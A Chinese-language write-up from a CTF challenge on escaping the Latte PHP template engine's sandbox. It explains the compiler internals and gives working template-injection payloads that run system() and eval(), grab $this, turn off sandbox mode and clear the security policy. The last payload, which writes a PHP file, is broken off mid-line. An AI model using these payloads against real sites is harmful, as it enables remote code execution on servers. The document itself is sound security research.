Latte-SSTI-Payloads总结
TL;DR
最近西湖论剑有一道使用Latte的题目,当时我也是用的偷鸡办法做的,当时时间限制就没有仔仔细细的去寻找逃逸的办法。
直到赛后我发现逃逸的办法很简单
{="${system('nl /flag')}"}
这里使用的是php的基础语法,我就不过多赘述了。这个复杂变量网上也有很多文章。
赛后我无聊的时候简单看了下Latte,找了点后续的利用,比如获取$this变量,还有任意代码执行。然后发现网上关于这个引擎的文章很少,就来水一篇吧。
“${}” Bypass
我粗略的读了下Latte,其实Latte确实是对$$和${}进行了检测的
//PhpWriter.phppublic function sandboxPass(MacroTokens $tokens): MacroTokens{ ...... elseif ($tokens->isCurrent('$')) { // $$$var or ${...} throw new CompileException('Forbidden variable variables.'); } ...... else { // $obj->$$$var or $obj::$$$var $member = $tokens->nextAll($tokens::T_VARIABLE, '$'); $expr->tokens = $op === '::' && !$tokens->isNext('(') ? array_merge($expr->tokens, array_slice($member, 1)) : array_merge($expr->tokens, $member); } ......}
从给的注释和报错的异常也能看出来,这里通过前面的词法,语法分析出来的token在检测形容${},$$var这样的结构。
如果你直接在模板里书写${$xx}确实会报上面哪个异常
但是如果使用”${xxx}”,可能在前面词法,语法分析就会认为这是个定义的字符串,根本不会进入这里的sandboxPass方法了
可以从一个尽量精简的例子来看看后续的流程
//这是index.phprequire 'vendor/autoload.php';$latte = new Latte\Engine;$latte->setTempDirectory('tempdir');$policy = new Latte\Sandbox\SecurityPolicy;$policy->allowMacros(['block', 'if', 'else','=']);$policy->allowFilters($policy::ALL);$policy->allowFunctions(['trim', 'strlen']);$latte->setPolicy($policy);$latte->setSandboxMode();$latte->setAutoRefresh(true); if(isset($_FILES['file'])){ $uploaddir = '/var/www/html/tempdir/'; $filename = basename($_FILES['file']['name']); if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..')){ die('no'); } $file_conents = file_get_contents($_FILES['file']['tmp_name']); if(strlen($file_conents)>28 or stristr($file_conents,'<')){ die('no'); } $uploadfile = $uploaddir . $filename; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { $message = $filename ." was successfully uploaded."; } else { $message = "error!"; } $params = [ 'message' => $message, ]; $latte->render('tempdir/index.latte', $params);}else if($_GET['source']==1){ highlight_file(__FILE__);}else{ $latte->render('tempdir/index.latte', ['message'=>'Hellow My Glzjin!']);} /*这是index.latte*/ {="${eval('echo \'pwn!\';')}"}
调用栈张这样,光从名字来看应该还是挺清晰的
主要看看buildClassBody方法
private function buildClassBody(array $tokens){...... $macroHandlers = new \SplObjectStorage; if ($this->macros) { array_map([$macroHandlers, 'attach'], array_merge(...array_values($this->macros))); } foreach ($macroHandlers as $handler) { $handler->initialize($this); } foreach ($tokens as $this->position => $token) { if ($this->inHead && !( $token->type === $token::COMMENT || $token->type === $token::MACRO_TAG && ($this->flags[$token->name] ?? null) & Macro::ALLOWED_IN_HEAD || $token->type === $token::TEXT && trim($token->text) === '' )) { $this->inHead = false; } $this->{"process$token->type"}($token); }......
在上面哪个示范中,$this->{“process$token->type”}($token);当$token->type=MacroTag时,调用的就是$this->processMacroTag($token);
主要来看看这个MacroTag的处理过程,因为这个MacroTag就代表{="${eval('echo \'pwn!\';')}"}
private function processMacroTag(Token $token): void{......//对于这个标签,因为情况比较简单,直接就是来到这里 $node = $this->openMacro($token->name, $token->value, $token->modifiers, $isRightmost);......} public function openMacro( string $name, string $args = '', string $modifiers = '', bool $isRightmost = false, string $nPrefix = null ): MacroNode { ...... $node = $this->expandMacro($name, $args, $modifiers, $nPrefix); ...... } public function expandMacro(string $name, string $args, string $modifiers = '', string $nPrefix = null): MacroNode{ if (empty($this->macros[$name])){//先判断是否存在这个macros ...... } $modifiers = (string) $modifiers;//获取修饰符 ....... ....... foreach (array_reverse($this->macros[$name]) as $macro) { $node = new MacroNode($macro, $name, $args, $modifiers, $this->macroNode, $this->htmlNode, $nPrefix);//前面一堆蜜汁操作(因为调的时候前面很多分支没进入,就不管了),终于开始建立这个节点 $node->context = $context; $node->startLine = $nPrefix ? $this->htmlNode->startLine : $this->getLine(); if ($macro->nodeOpened($node) !== false) { return $node; } }}
来到MacroSet的nodeOpened(这里是CoreMacros继承的MacroSet方法)然后调用了MacroSet的compile方法,对于本例会来到CoreMacros的macroExpr,通过这个方法上面的注释也能明白这里是在准备编译表达式,在准备将表达式打印的语句编译出来。
nodeOpened(MacroNode $node) -> compile(MacroNode $node, $def)->macroExpr(MacroNode $node, PhpWriter $writer)
然后来到PhpWriter的write方法
/** * Expands %node.word, %node.array, %node.args, %node.line, %escape(), %modify(), %var, %raw, %word in code. * @param mixed ...$args */ public function write(string $mask, ...$args): string ...... //这整个PhpWriter其实都在干一件事就是去生成一个类似于格式化字符串的结果 //对于本例,当格式化参数的时候,会一路调用到PhpWriter的sandboxPass方法
在PhpWriter的sandboxPass方法中,会根据目前他拿到的tokens来做判断(虽然初始化PhpWriter的时候,传给他的tokens属性的变量叫tokenizer,实际上传过去的是是当时哪个节点对于分词器的一个包装)
....elseif ($tokens->isCurrent('$')) { // $$$var or ${...} throw new CompileException('Forbidden variable variables.');....
可以看到这里如果使用$tokens->isCurrent(‘$’)自然而然获取到的是"${eval(xxxxxx)}"并不是一个$的token。
所以就绕过了sandbox。
底层的原理也很简单,其实就是Latte的解析并没有与php一致。也就是说Latte认为这就是在输出一个字符串而已,但是最后生成的php文件中,这确实是一个符合语法规则的复杂变量。
How to get $this
模板沙盒逃逸一般大家第一步都喜欢去寻找一些内置变量一类,看看有没有什么操作的空间。但是Latte我粗略的看了下官方文档,好像没有内置变量。直接使用$this会直接被ban。
这里我当时看到了一个过滤器sort
You can pass your own comparison function as a parameter:{var $sorted = ($names|sort: fn($a, $b) => $b <=> $a)}//这是官方的例子
这样的东西看起来就很危险,而且最后是会编译成php文件的,所以我猜测自定义匿名函数的代码片段最后生成到php文件时不会产生太大的变化。我当时试了试在匿名函数里面定义一个没用的变量。在最后编译生成的php文件里,我也确实看到了我定义的变量。所以我就觉得这个地方是有操作空间的。
如果你直接准备再这里进行函数调用会被直接拦下来的,静态调用过不了编译。动态调用因为上文提到的sandboxPass方法,会进行以下转换比如
trim("phpinfo\t")(); => $this->call(trim("phpinfo\t"))();
其中$this变量是一个Latte\Runtime\Template的对象,他的这个call其实就是在检测白名单,并且适配了php的几种动态调用的形式,比如数组之类的。
我水平有限也无法规避Latte对动态调用这样的转换。(可能可以使用类似mxss的思路去规避?)
所以我就还是准备使用”${}”看看能否获得$this变量
{=["this","siebene"]|sort: function ($a,$b) { "${is_string(${$a}->getEngine()->setSandboxMode(false))}"; "${is_string(${$a}->getEngine()->setPolicy(null))}"; }}</li> /* 这里有个小细节就是为了避免对象转为字符串报致命错误提前中断,我使用了`is_string`来将对象间接转成可以接受的形式。 */
发现还是挺简单的,我就拿到了$this变量,并且关闭了沙盒还有清空了策略。
Another RCE Payloads
有兴趣看的话,感觉payload应该还是会有挺多的
{=["this","siebene"]|sort: function ($a,$b) { "${is_string(${$a}->call(function (){ file_put_contents('sie.php','; }}</li>
